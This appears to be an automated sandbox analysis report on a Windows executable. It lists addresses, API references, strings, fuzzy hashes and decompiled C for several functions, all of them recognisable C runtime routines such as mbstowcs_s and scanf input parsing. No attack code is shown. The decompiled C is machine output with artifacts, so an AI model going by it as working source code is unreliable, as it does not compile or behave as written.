0x00431c3b
0x00431c3e
0x00431c45
0x00431c51
0x00431c57
0x00431c5d
0x00431c64
0x00431c66
0x00431c6c
0x00431c6c
0x00431c72
0x00431c72
0x00431c78
0x00431c81
0x00431c86
0x00431c89
0x00431bf8
0x00431bf8
0x00431bfe
0x00431c01
0x00431c04
0x00431c06
0x00000000
0x00000000
0x00000000
0x00431c06
0x00431bf8
0x00431b35
0x00431b35
0x00431b3c
0x00000000
0x00000000
0x00000000
0x00431b3c
0x00000000
0x00431cda
0x00431cda
0x00431cda
0x00431cde
0x00000000
0x00000000
0x00000000
0x00431cde
0x00000000
0x00000000
0x00431269
0x00431269
0x0043126c
0x0043126f
0x00000000
0x00000000
0x00431274
0x00431277
0x0043127d
0x00000000
0x00000000
0x0043125e
0x00431261
0x00431264
0x00000000
0x00000000
0x00431253
0x00431256
0x00431259
0x00000000
0x00000000
0x00431282
0x00431282
0x00431285
0x00431285
0x00431288
0x00000000
0x00000000
0x0043128b
0x00000000
0x00000000
0x004310fb
0x004310fb
0x004310fd
0x0043110b
0x004310ff
0x004310ff
0x004310ff
0x0043111b
0x00431128
0x0043112a
0x0043112f
0x00431131
0x00431136
0x0043113b
0x0043113d
0x00431142
0x00431148
0x0043114a
0x0043114a
0x00431148
0x0043114b
0x00431152
0x00000000
0x00431154
0x00431159
0x00431175
0x0043117d
0x0043118a
0x0043118f
0x00431f9e
0x00431fab
0x00431fab
0x00431152
0x004310f5
0x00431eda
0x00431eda
0x00431ee1
0x00431ef8
0x00431ef8
0x00431f02
0x00431f02
0x00431f08
0x00431f0e
0x00431f15
0x00431f17
0x00431f1c
0x00431f1e
0x00431f23
0x00431f28
0x00431f2a
0x00431f2f
0x00431f32
0x00431f35
0x00431f37
0x00431f37
0x00431f35
0x00431f38
0x00431f3f
0x00431f8a
0x00431f93
0x00431f98
0x00431f41
0x00431f46
0x00431f62
0x00431f6a
0x00431f77
0x00431f7c
0x00431f7c
0x00000000
0x00431f3f
0x00431ee3
0x00431ee3
0x00431eea
0x00000000
0x00000000
0x00431eec
0x00431eec
0x00000000
0x00431eec
0x00431cda
0x0043157b
0x0043157b
0x00431581
0x00431588
0x0043158d
0x00431590
0x00000000
0x00431590

APIs

_get_int_arg.LIBCMTD ref: 00431558
_strlen.LIBCMT ref: 00431588
_write_multi_char.LIBCMTD ref: 00431D65
_write_string.LIBCMTD ref: 00431D80
_write_multi_char.LIBCMTD ref: 00431DAC
__mbtowc_l.LIBCMTD ref: 00431E1B

Strings

_woutput_s_l, xrefs: 0043116B
("Incorrect format specifier", 0), xrefs: 0043112A, 00431170
f:\dd\vctools\crt_bld\self_x86\crt\src\output.c, xrefs: 00431136, 00431166

Memory Dump Source

Source File: 00000000.00000002.683771159.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.683744708.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.683860561.000000000043E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683876679.000000000044B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683890164.00000000004CB000.00000002.00020000.sdmp Download File

Similarity

API ID: _write_multi_char$__mbtowc_l_get_int_arg_strlen_write_string
String ID: ("Incorrect format specifier", 0)$_woutput_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\output.c
API String ID: 909868375-2264504294
Opcode ID: 0eb45bc074f38f4ca449da0757a069942c14a4c218f5ab5d5877c3bfdbc45fef
Instruction ID: 06b7950cac2cb4e6d5730438e90fd0670364f15df7e397af83def9f9ddc05309
Opcode Fuzzy Hash: 0eb45bc074f38f4ca449da0757a069942c14a4c218f5ab5d5877c3bfdbc45fef
Instruction Fuzzy Hash: 99A16CB1D002189FDF24CF55CC85BEEB3B5EB48304F14919AE6096B292D739AE84CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00429546, Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 131
COMMON

Download Yara Rule

C-Code - Quality: 57%

			E00429546(signed int __eax) {
				intOrPtr _t57;
				signed int _t59;
				signed int _t61;
				void* _t65;
				signed int _t76;
				signed int _t84;
				signed int _t96;
				void* _t101;
				void* _t103;
				void* _t104;
				void* _t113;

				_t104 = _t103 + 0x10;
				 *(_t101 - 0x1c) = __eax;
				if( *(_t101 - 0x1c) != 0xffffffff) {
					 *(_t101 - 0x1c) =  *(_t101 - 0x1c) + 1;
					__eflags =  *(_t101 + 0xc);
					if( *(_t101 + 0xc) == 0) {
						L27:
						__eflags =  *(_t101 + 8);
						if( *(_t101 + 8) != 0) {
							 *( *(_t101 + 8)) =  *(_t101 - 0x1c);
						}
						 *((intOrPtr*)(_t101 - 0x38)) =  *((intOrPtr*)(_t101 - 4));
						E0041B2A0(_t101 - 0x18);
						_t57 =  *((intOrPtr*)(_t101 - 0x38));
						L30:
						return _t57;
					}
					_t59 =  *(_t101 - 0x1c);
					__eflags = _t59 -  *(_t101 + 0x10);
					if(_t59 <=  *(_t101 + 0x10)) {
						L26:
						__eflags = 0;
						 *((short*)( *(_t101 + 0xc) +  *(_t101 - 0x1c) * 2 - 2)) = 0;
						goto L27;
					}
					__eflags =  *((intOrPtr*)(_t101 + 0x18)) - 0xffffffff;
					if( *((intOrPtr*)(_t101 + 0x18)) == 0xffffffff) {
						L25:
						 *(_t101 - 0x1c) =  *(_t101 + 0x10);
						 *((intOrPtr*)(_t101 - 4)) = 0x50;
						goto L26;
					}
					_t81 = 0;
					 *( *(_t101 + 0xc)) = 0;
					__eflags =  *(_t101 + 0x10) - 0xffffffff;
					if( *(_t101 + 0x10) != 0xffffffff) {
						__eflags =  *(_t101 + 0x10) - 0x7fffffff;
						if( *(_t101 + 0x10) != 0x7fffffff) {
							__eflags =  *(_t101 + 0x10) - 1;
							if( *(_t101 + 0x10) > 1) {
								__eflags =  *0x43e408 -  *(_t101 + 0x10) - 1; // 0xffffffff
								if(__eflags >= 0) {
									_t96 =  *(_t101 + 0x10) - 1;
									__eflags = _t96;
									 *(_t101 - 0x4c) = _t96;
								} else {
									_t84 =  *0x43e408; // 0xffffffff
									 *(_t101 - 0x4c) = _t84;
								}
								_t81 =  *(_t101 + 0xc) + 2;
								__eflags =  *(_t101 + 0xc) + 2;
								_t59 = E00422580( *(_t101 + 0xc) + 2, 0xfe,  *(_t101 - 0x4c) << 1);
								_t104 = _t104 + 0xc;
							}
						}
					}
					__eflags =  *(_t101 + 0x10) -  *(_t101 - 0x1c);
					asm("sbb eax, eax");
					_t61 = _t59 + 1;
					__eflags = _t61;
					 *(_t101 - 0x28) = _t61;
					if(_t61 == 0) {
						_push(L"retsize <= sizeInWords");
						_push(0);
						_push(0x11b);
						_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\mbstowcs.c");
						_push(2);
						_t65 = L0041AAF0();
						_t104 = _t104 + 0x14;
						__eflags = _t65 - 1;
						if(_t65 == 1) {
							asm("int3");
						}
					}
					__eflags =  *(_t101 - 0x28);
					if( *(_t101 - 0x28) != 0) {
						goto L25;
					} else {
						 *((intOrPtr*)(L0041A7C0(_t81))) = 0x22;
						E00419D60(_t81, L"retsize <= sizeInWords", L"_mbstowcs_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\mbstowcs.c", 0x11b, 0);
						 *((intOrPtr*)(_t101 - 0x34)) = 0x22;
						E0041B2A0(_t101 - 0x18);
						_t57 =  *((intOrPtr*)(_t101 - 0x34));
						goto L30;
					}
				}
				if( *(_t101 + 0xc) != 0) {
					_t77 =  *(_t101 + 0xc);
					 *( *(_t101 + 0xc)) = 0;
					if( *(_t101 + 0x10) != 0xffffffff &&  *(_t101 + 0x10) != 0x7fffffff &&  *(_t101 + 0x10) > 1) {
						_t113 =  *0x43e408 -  *(_t101 + 0x10) - 1; // 0xffffffff
						if(_t113 >= 0) {
							_t77 =  *(_t101 + 0x10) - 1;
							__eflags = _t77;
							 *(_t101 - 0x48) = _t77;
						} else {
							_t76 =  *0x43e408; // 0xffffffff
							 *(_t101 - 0x48) = _t76;
						}
						E00422580( *(_t101 + 0xc) + 2, 0xfe,  *(_t101 - 0x48) << 1);
					}
				}
				 *((intOrPtr*)(_t101 - 0x30)) =  *((intOrPtr*)(L0041A7C0(_t77)));
				E0041B2A0(_t101 - 0x18);
				_t57 =  *((intOrPtr*)(_t101 - 0x30));
				goto L30;
			}

0x00429546
0x00429549
0x00429550
0x004295d0
0x004295d3
0x004295d7
0x004296da
0x004296da
0x004296de
0x004296e6
0x004296e6
0x004296eb
0x004296f1
0x004296f6
0x004296f9
0x004296fc
0x004296fc
0x004295dd
0x004295e0
0x004295e3
0x004296cd
0x004296cd
0x004296d5
0x00000000
0x004296d5
0x004295e9
0x004295ed
0x004296c0
0x004296c3
0x004296c6
0x00000000
0x004296c6
0x004295f3
0x004295f8
0x004295fb
0x004295ff
0x00429601
0x00429608
0x0042960a
0x0042960e
0x00429616
0x0042961c
0x0042962c
0x0042962c
0x0042962f
0x0042961e
0x0042961e
0x00429624
0x00429624
0x00429640
0x00429640
0x00429644
0x00429649
0x00429649
0x0042960e
0x00429608
0x0042964f
0x00429652
0x00429654
0x00429654
0x00429657
0x0042965a
0x0042965c
0x00429661
0x00429663
0x00429668
0x0042966d
0x0042966f
0x00429674
0x00429677
0x0042967a
0x0042967c
0x0042967c
0x0042967a
0x0042967d
0x00429681
0x00000000
0x00429683
0x00429688
0x004296a4
0x004296ac
0x004296b6
0x004296bb
0x00000000
0x004296bb
0x00429681
0x00429556
0x0042955a
0x0042955d
0x00429564
0x0042957b
0x00429581
0x00429590
0x00429590
0x00429593
0x00429583
0x00429583
0x00429588
0x00429588
0x004295a8
0x004295ad
0x00429564
0x004295b7
0x004295bd
0x004295c2
0x00000000

APIs

_memset.LIBCMT ref: 004295A8
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 004295BD
_memset.LIBCMT ref: 00429644
__invalid_parameter.LIBCMTD ref: 004296A4
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 004296B6
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 004296F1

Strings

", xrefs: 004296AC
P, xrefs: 004296C6
retsize <= sizeInWords, xrefs: 0042965C, 0042969F
_mbstowcs_s_l, xrefs: 0042969A
f:\dd\vctools\crt_bld\self_x86\crt\src\mbstowcs.c, xrefs: 00429668, 00429695

Memory Dump Source

Source File: 00000000.00000002.683771159.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.683744708.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.683860561.000000000043E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683876679.000000000044B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683890164.00000000004CB000.00000002.00020000.sdmp Download File

Similarity

API ID: Locale$UpdateUpdate::~_$_memset$__invalid_parameter
String ID: "$P$_mbstowcs_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\mbstowcs.c$retsize <= sizeInWords
API String ID: 2173491032-2919109160
Opcode ID: 4f3bcb015867abde59e588167a94dc0b84061e76f8f2aa04dd145f0b169a7e52
Instruction ID: 8ca6f08c51d1fab46ebdffbfcdc76086bf9df8c5176e6da4fa1db32988151cd0
Opcode Fuzzy Hash: 4f3bcb015867abde59e588167a94dc0b84061e76f8f2aa04dd145f0b169a7e52
Instruction Fuzzy Hash: 0D519E30A00219EBCB24DFA8E845AEE77B1FF44314F50862AE825573D0D3789D92CF99

Uniqueness

Uniqueness Score: -1.00%

Function 004290E0, Relevance: 16.7, APIs: 11, Instructions: 160
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004290E0() {
				intOrPtr* _t78;
				intOrPtr* _t85;
				int _t88;
				void* _t94;
				char* _t95;
				void* _t158;
				void* _t160;

				if( *((intOrPtr*)( *((intOrPtr*)(E0041B2D0(_t158 - 0x14))) + 0x14)) != 0) {
					_t78 = E0041B2D0(_t158 - 0x14);
					_t113 =  *_t78;
					 *(_t158 - 4) = MultiByteToWideChar( *( *_t78 + 4), 9,  *(_t158 + 0xc), 0xffffffff,  *(_t158 + 8),  *(_t158 + 0x10));
					if( *(_t158 - 4) == 0) {
						if(GetLastError() == 0x7a) {
							 *(_t158 - 0x20) =  *(_t158 + 0x10);
							 *(_t158 - 0x1c) =  *(_t158 + 0xc);
							while(1) {
								 *(_t158 - 0x20) =  *(_t158 - 0x20) - 1;
								if( *(_t158 - 0x20) == 0 || ( *( *(_t158 - 0x1c)) & 0x000000ff) == 0) {
									break;
								}
								_t94 = E004254B0( *( *(_t158 - 0x1c)) & 0x000000ff, E0041B2D0(_t158 - 0x14));
								_t160 = _t160 + 8;
								if(_t94 == 0) {
									L18:
									 *(_t158 - 0x1c) =  &(( *(_t158 - 0x1c))[1]);
									continue;
								} else {
									_t95 =  *(_t158 - 0x1c);
									_t125 = _t95[1] & 0x000000ff;
									if((_t95[1] & 0x000000ff) != 0) {
										 *(_t158 - 0x1c) =  &(( *(_t158 - 0x1c))[1]);
										goto L18;
									} else {
										 *((intOrPtr*)(L0041A7C0(_t125))) = 0x2a;
										 *( *(_t158 + 8)) = 0;
										 *(_t158 - 0x38) = 0xffffffff;
										E0041B2A0(_t158 - 0x14);
										_t88 =  *(_t158 - 0x38);
									}
								}
								goto L22;
							}
							 *(_t158 - 0x24) =  *(_t158 - 0x1c) -  *(_t158 + 0xc);
							_t85 = E0041B2D0(_t158 - 0x14);
							_t119 =  *_t85;
							 *(_t158 - 4) = MultiByteToWideChar( *( *_t85 + 4), 1,  *(_t158 + 0xc),  *(_t158 - 0x24),  *(_t158 + 8),  *(_t158 + 0x10));
							if( *(_t158 - 4) != 0) {
								 *(_t158 - 0x40) =  *(_t158 - 4);
								E0041B2A0(_t158 - 0x14);
								_t88 =  *(_t158 - 0x40);
							} else {
								 *((intOrPtr*)(L0041A7C0(_t119))) = 0x2a;
								 *( *(_t158 + 8)) = 0;
								 *(_t158 - 0x3c) = 0xffffffff;
								E0041B2A0(_t158 - 0x14);
								_t88 =  *(_t158 - 0x3c);
							}
						} else {
							 *((intOrPtr*)(L0041A7C0(_t113))) = 0x2a;
							 *( *(_t158 + 8)) = 0;
							 *(_t158 - 0x34) = 0xffffffff;
							E0041B2A0(_t158 - 0x14);
							_t88 =  *(_t158 - 0x34);
						}
					} else {
						 *(_t158 - 0x30) =  *(_t158 - 4) - 1;
						E0041B2A0(_t158 - 0x14);
						_t88 =  *(_t158 - 0x30);
					}
				} else {
					while( *(_t158 - 4) <  *(_t158 + 0x10)) {
						 *( *(_t158 + 8)) = ( *(_t158 + 0xc))[ *(_t158 - 4)] & 0x000000ff;
						if(( *(_t158 + 0xc))[ *(_t158 - 4)] != 0) {
							 *(_t158 - 4) =  *(_t158 - 4) + 1;
							 *(_t158 + 8) =  &(( *(_t158 + 8))[1]);
							continue;
						} else {
							 *(_t158 - 0x28) =  *(_t158 - 4);
							E0041B2A0(_t158 - 0x14);
							_t88 =  *(_t158 - 0x28);
						}
						goto L22;
					}
					 *(_t158 - 0x2c) =  *(_t158 - 4);
					E0041B2A0(_t158 - 0x14);
					_t88 =  *(_t158 - 0x2c);
				}
				L22:
				return _t88;
			}

0x004290ee
0x0042916d
0x00429172
0x0042917e
0x00429185
0x004291a9
0x004291d8
0x004291de
0x004291ec
0x004291f5
0x004291fa
0x00000000
0x00000000
0x00429216
0x0042921b
0x00429220
0x00429262
0x004291e9
0x00000000
0x00429222
0x00429222
0x00429225
0x0042922b
0x0042925f
0x00000000
0x0042922d
0x00429232
0x0042923d
0x00429240
0x0042924a
0x0042924f
0x0042924f
0x0042922b
0x00000000
0x00429220
0x0042926d
0x00429285
0x0042928a
0x00429296
0x0042929d
0x004292cc
0x004292d2
0x004292d7
0x0042929f
0x004292a4
0x004292af
0x004292b2
0x004292bc
0x004292c1
0x004292c1
0x004291ab
0x004291b0
0x004291bb
0x004291be
0x004291c8
0x004291cd
0x004291cd
0x00429187
0x0042918d
0x00429193
0x00429198
0x00429198
0x004290f0
0x004290f0
0x00429105
0x00429113
0x00429131
0x0042913a
0x00000000
0x00429115
0x00429118
0x0042911e
0x00429123
0x00429123
0x00000000
0x00429113
0x00429142
0x00429148
0x0042914d
0x0042914d
0x0042937a
0x0042937d

APIs

_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0042911E
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 00429148
MultiByteToWideChar.KERNEL32(?,00000009,?,000000FF,?,?), ref: 00429178
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 00429193

Memory Dump Source

Source File: 00000000.00000002.683771159.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.683744708.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.683860561.000000000043E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683876679.000000000044B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683890164.00000000004CB000.00000002.00020000.sdmp Download File

Similarity

API ID: Locale$UpdateUpdate::~_$ByteCharMultiWide
String ID:
API String ID: 3162172745-0
Opcode ID: 4993db460717256e61ed6ed720993ace0b36dd95f029668a7e686a87ba688056
Instruction ID: cee3d022c80ce222c6ae8ba5f0fa8e1d8df01cee9a1a16e6bef3630faee0233c
Opcode Fuzzy Hash: 4993db460717256e61ed6ed720993ace0b36dd95f029668a7e686a87ba688056
Instruction Fuzzy Hash: 55614F70A00119DFCB04DFA5D9949FEB7B1FF49304F608159E815AB390DB38AE41DB99

Uniqueness

Uniqueness Score: -1.00%

Function 0041BAE0, Relevance: 16.0, APIs: 5, Strings: 4, Instructions: 267
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E0041BAE0(void* __ebx) {
				signed int _t836;
				signed int _t841;
				void* _t846;
				void* _t855;
				signed int _t859;
				signed int _t862;
				intOrPtr _t864;
				signed int _t875;
				signed int _t897;
				signed int _t899;
				signed int _t902;
				signed int _t906;
				signed int _t909;
				void* _t920;
				signed int _t925;
				signed int _t957;
				void* _t958;
				char _t966;
				signed int _t968;
				signed int _t985;
				signed int _t991;
				signed int _t993;
				void* _t994;
				signed int _t1014;
				signed int _t1019;
				signed int _t1026;
				signed int _t1067;
				signed int _t1072;
				signed int _t1076;
				signed int _t1080;
				intOrPtr _t1088;
				signed int _t1136;
				signed int _t1142;
				signed int _t1180;
				signed int _t1184;
				signed int _t1193;
				signed int _t1217;
				void* _t1218;
				void* _t1219;
				signed int _t1220;
				void* _t1222;
				void* _t1223;
				void* _t1224;
				void* _t1227;
				void* _t1230;
				void* _t1231;

				L0:
				while(1) {
					L0:
					_t994 = __ebx;
					if( *(_t1220 - 0x215) > 0) {
						__dl =  *(__ebp - 0x29);
						__dl =  *(__ebp - 0x29) + 1;
						__eflags = __dl;
						 *(__ebp - 0x29) = __dl;
					}
					L79:
					 *(_t1220 + 0xc) =  *(_t1220 + 0xc) + 1;
					 *(_t1220 - 0x38) =  *(_t1220 + 0xc);
					__eflags = ( *( *(_t1220 - 0x38)) & 0x000000ff) - 0x5e;
					if(( *( *(_t1220 - 0x38)) & 0x000000ff) == 0x5e) {
						 *(_t1220 - 0x38) =  *(_t1220 - 0x38) + 1;
						_t1217 =  *(_t1220 - 3) - 1;
						__eflags = _t1217;
						 *(_t1220 - 3) = _t1217;
					}
					E00422580( *((intOrPtr*)(_t1220 - 0x4c)), 0, 0x20);
					_t1223 = _t1222 + 0xc;
					__eflags =  *(_t1220 - 0x44) - 0x7b;
					if( *(_t1220 - 0x44) == 0x7b) {
						__eflags = ( *( *(_t1220 - 0x38)) & 0x000000ff) - 0x5d;
						if(( *( *(_t1220 - 0x38)) & 0x000000ff) == 0x5d) {
							 *(_t1220 - 0x7d) = 0x5d;
							_t993 =  *(_t1220 - 0x38) + 1;
							__eflags = _t993;
							 *(_t1220 - 0x38) = _t993;
							 *((char*)( *((intOrPtr*)(_t1220 - 0x4c)) + 0xb)) = 0x20;
						}
					}
					while(1) {
						L84:
						__eflags = ( *( *(_t1220 - 0x38)) & 0x000000ff) - 0x5d;
						if(( *( *(_t1220 - 0x38)) & 0x000000ff) == 0x5d) {
							break;
						}
						L85:
						 *(_t1220 - 0x7e) =  *( *(_t1220 - 0x38));
						 *(_t1220 - 0x38) =  *(_t1220 - 0x38) + 1;
						__eflags = ( *(_t1220 - 0x7e) & 0x000000ff) - 0x2d;
						if(( *(_t1220 - 0x7e) & 0x000000ff) != 0x2d) {
							L88:
							 *(_t1220 - 0x7d) =  *(_t1220 - 0x7e);
							 *( *((intOrPtr*)(_t1220 - 0x4c)) + (( *(_t1220 - 0x7d) & 0x000000ff) >> 3)) =  *( *((intOrPtr*)(_t1220 - 0x4c)) + (( *(_t1220 - 0x7d) & 0x000000ff) >> 3)) | 0x00000001 << ( *(_t1220 - 0x7e) & 7);
							L97:
							_t268 = __ebx - 0x49f037bb;
							 *_t268 =  *(__ebx - 0x49f037bb) - 1;
							__eflags =  *_t268;
							continue;
						}
						L86:
						__eflags =  *(_t1220 - 0x7d) & 0x000000ff;
						if(( *(_t1220 - 0x7d) & 0x000000ff) == 0) {
							goto L88;
						}
						L87:
						__eflags = ( *( *(_t1220 - 0x38)) & 0x000000ff) - 0x5d;
						if(( *( *(_t1220 - 0x38)) & 0x000000ff) != 0x5d) {
							L89:
							 *(_t1220 - 0x7e) =  *( *(_t1220 - 0x38));
							 *(_t1220 - 0x38) =  *(_t1220 - 0x38) + 1;
							__eflags = ( *(_t1220 - 0x7d) & 0x000000ff) - ( *(_t1220 - 0x7e) & 0x000000ff);
							if(( *(_t1220 - 0x7d) & 0x000000ff) >= ( *(_t1220 - 0x7e) & 0x000000ff)) {
								 *(_t1220 - 0x11) =  *(_t1220 - 0x7d);
								 *(_t1220 - 0x7d) =  *(_t1220 - 0x7e);
							} else {
								 *(_t1220 - 0x11) =  *(_t1220 - 0x7e);
							}
							 *(_t1220 - 0x7e) =  *(_t1220 - 0x7d);
							while(1) {
								L94:
								__eflags = ( *(_t1220 - 0x7e) & 0x000000ff) - ( *(_t1220 - 0x11) & 0x000000ff);
								if(( *(_t1220 - 0x7e) & 0x000000ff) >= ( *(_t1220 - 0x11) & 0x000000ff)) {
									break;
								}
								L95:
								 *( *((intOrPtr*)(_t1220 - 0x4c)) + (( *(_t1220 - 0x7e) & 0x000000ff) >> 3)) =  *( *((intOrPtr*)(_t1220 - 0x4c)) + (( *(_t1220 - 0x7e) & 0x000000ff) >> 3)) | 0x00000001 << ( *(_t1220 - 0x7e) & 7);
								_t991 =  *(_t1220 - 0x7e) + 1;
								__eflags = _t991;
								 *(_t1220 - 0x7e) = _t991;
							}
							L96:
							_t985 =  *( *((intOrPtr*)(_t1220 - 0x4c)) + (( *(_t1220 - 0x11) & 0x000000ff) >> 3)) | 0x00000001 << ( *(_t1220 - 0x11) & 7);
							__eflags = _t985;
							 *( *((intOrPtr*)(_t1220 - 0x4c)) + (( *(_t1220 - 0x11) & 0x000000ff) >> 3)) = _t985;
							 *(_t1220 - 0x7d) = 0;
							goto L97;
						}
						goto L88;
					}
					L99:
					__eflags =  *( *(_t1220 - 0x38)) & 0x000000ff;
					if(( *( *(_t1220 - 0x38)) & 0x000000ff) != 0) {
						L101:
						__eflags =  *(_t1220 - 0x44) - 0x7b;
						if( *(_t1220 - 0x44) == 0x7b) {
							 *(_t1220 + 0xc) =  *(_t1220 - 0x38);
						}
						while(1) {
							L103:
							 *(_t1220 - 0x48) =  *(_t1220 - 0x7c);
							_t999 =  *(_t1220 - 0xc) - 1;
							 *(_t1220 - 0xc) =  *(_t1220 - 0xc) - 1;
							E0041CFD0( *(_t1220 - 0x21c),  *(_t1220 + 8));
							_t1224 = _t1223 + 8;
							__eflags =  *(_t1220 - 0x44) - 0x63;
							if( *(_t1220 - 0x44) != 0x63) {
								_t999 =  *(_t1220 - 0x18) - 1;
								__eflags = _t999;
								 *(_t1220 - 0x18) = _t999;
							}
							while(1) {
								L105:
								__eflags =  *(_t1220 - 0x1f0);
								if( *(_t1220 - 0x1f0) == 0) {
									goto L107;
								}
								L106:
								 *(_t1220 - 0x78) =  *(_t1220 - 0x78) - 1;
								__eflags =  *(_t1220 - 0x78);
								if( *(_t1220 - 0x78) == 0) {
									L128:
									__eflags =  *(_t1220 - 0x40);
									if( *(_t1220 - 0x40) == 0) {
										L146:
										_t1123 =  *(_t1220 - 0x48);
										__eflags =  *(_t1220 - 0x48) -  *(_t1220 - 0x7c);
										if( *(_t1220 - 0x48) ==  *(_t1220 - 0x7c)) {
											L166:
											L335:
											__eflags =  *((intOrPtr*)(_t1220 - 0x28)) - 1;
											if( *((intOrPtr*)(_t1220 - 0x28)) == 1) {
												L0041DD40( *((intOrPtr*)(_t1220 - 0x84)), 2);
												_t1224 = _t1224 + 8;
											}
											__eflags =  *(_t1220 - 0x21c) - 0xffffffff;
											if( *(_t1220 - 0x21c) != 0xffffffff) {
												L343:
												__eflags =  *(_t1220 - 0x24) - 1;
												if( *(_t1220 - 0x24) != 1) {
													L352:
													_t1123 =  *(_t1220 - 8);
													 *(_t1220 - 0x24c) =  *(_t1220 - 8);
													E0041B2A0(_t1220 - 0x214);
													_t841 =  *(_t1220 - 0x24c);
													goto L353;
												}
												L344:
												__eflags = 0;
												if(0 == 0) {
													 *(_t1220 - 0x278) = 0;
												} else {
													 *(_t1220 - 0x278) = 1;
												}
												_t1123 =  *(_t1220 - 0x278);
												 *(_t1220 - 0x240) =  *(_t1220 - 0x278);
												__eflags =  *(_t1220 - 0x240);
												if( *(_t1220 - 0x240) == 0) {
													_push(L"(\"Invalid Input Format\",0)");
													_push(0);
													_push(0x55d);
													_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\input.c");
													_push(2);
													_t846 = L0041AAF0();
													_t1224 = _t1224 + 0x14;
													__eflags = _t846 - 1;
													if(_t846 == 1) {
														asm("int3");
													}
												}
												__eflags =  *(_t1220 - 0x240);
												if( *(_t1220 - 0x240) != 0) {
													goto L352;
												} else {
													L351:
													 *((intOrPtr*)(L0041A7C0(0))) = 0x16;
													E00419D60(0, L"(\"Invalid Input Format\",0)", L"_input_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\input.c", 0x55d, 0);
													 *(_t1220 - 0x248) =  *(_t1220 - 8);
													E0041B2A0(_t1220 - 0x214);
													_t841 =  *(_t1220 - 0x248);
													goto L353;
												}
											} else {
												L338:
												__eflags =  *(_t1220 - 8);
												if( *(_t1220 - 8) != 0) {
													L341:
													_t1123 =  *(_t1220 - 8);
													 *(_t1220 - 0x274) =  *(_t1220 - 8);
													L342:
													 *(_t1220 - 0x244) =  *(_t1220 - 0x274);
													E0041B2A0(_t1220 - 0x214);
													_t841 =  *(_t1220 - 0x244);
													L353:
													__eflags =  *(_t1220 - 0x50) ^ _t1220;
													return E00422570(_t841, _t994,  *(_t1220 - 0x50) ^ _t1220, _t1123, _t1218, _t1219);
												}
												L339:
												__eflags =  *(_t1220 - 0x1e9);
												if( *(_t1220 - 0x1e9) != 0) {
													goto L341;
												}
												L340:
												 *(_t1220 - 0x274) = 0xffffffff;
												goto L342;
											}
										}
										L147:
										__eflags =  *((char*)(_t1220 - 0x12));
										if( *((char*)(_t1220 - 0x12)) == 0) {
											 *(_t1220 - 8) =  *(_t1220 - 8) + 1;
											__eflags =  *(_t1220 - 0x44) - 0x63;
											if( *(_t1220 - 0x44) != 0x63) {
												__eflags =  *(_t1220 - 0x29);
												if( *(_t1220 - 0x29) == 0) {
													 *( *(_t1220 - 0x7c)) = 0;
													__eflags =  *(_t1220 - 0x34) - 0xffffffff;
													if( *(_t1220 - 0x34) != 0xffffffff) {
														__eflags =  *(_t1220 - 0x34) - 0x7fffffff;
														if( *(_t1220 - 0x34) != 0x7fffffff) {
															__eflags =  *(_t1220 - 0x7c) -  *(_t1220 - 0x48) + 1 -  *(_t1220 - 0x34);
															if( *(_t1220 - 0x7c) -  *(_t1220 - 0x48) + 1 <  *(_t1220 - 0x34)) {
																__eflags =  *0x43e408 -  *(_t1220 - 0x34) -  *(_t1220 - 0x7c) -  *(_t1220 - 0x48) + 1; // 0xffffffff
																if(__eflags >= 0) {
																	_t925 =  *(_t1220 - 0x34) -  *(_t1220 - 0x7c) -  *(_t1220 - 0x48) + 1;
																	__eflags = _t925;
																	 *(_t1220 - 0x270) = _t925;
																} else {
																	_t1067 =  *0x43e408; // 0xffffffff
																	 *(_t1220 - 0x270) = _t1067;
																}
																__eflags =  *(_t1220 - 0x7c) -  *(_t1220 - 0x48);
																E00422580( *(_t1220 - 0x48) +  *(_t1220 - 0x7c) -  *(_t1220 - 0x48) + 1, 0xfe,  *(_t1220 - 0x270));
																_t1224 = _t1224 + 0xc;
															}
														}
													}
												} else {
													 *( *(_t1220 - 0x7c)) = 0;
													__eflags =  *(_t1220 - 0x34) - 0xffffffff;
													if( *(_t1220 - 0x34) != 0xffffffff) {
														__eflags =  *(_t1220 - 0x34) - 0x7fffffff;
														if( *(_t1220 - 0x34) != 0x7fffffff) {
															__eflags = ( *(_t1220 - 0x7c) -  *(_t1220 - 0x48) >> 1) + 1 -  *(_t1220 - 0x34);
															if(( *(_t1220 - 0x7c) -  *(_t1220 - 0x48) >> 1) + 1 <  *(_t1220 - 0x34)) {
																__eflags =  *0x43e408 -  *(_t1220 - 0x34) - ( *(_t1220 - 0x7c) -  *(_t1220 - 0x48) >> 1) + 1; // 0xffffffff
																if(__eflags >= 0) {
																	_t1072 =  *(_t1220 - 0x34) - ( *(_t1220 - 0x7c) -  *(_t1220 - 0x48) >> 1) + 1;
																	__eflags = _t1072;
																	 *(_t1220 - 0x26c) = _t1072;
																} else {
																	_t1180 =  *0x43e408; // 0xffffffff
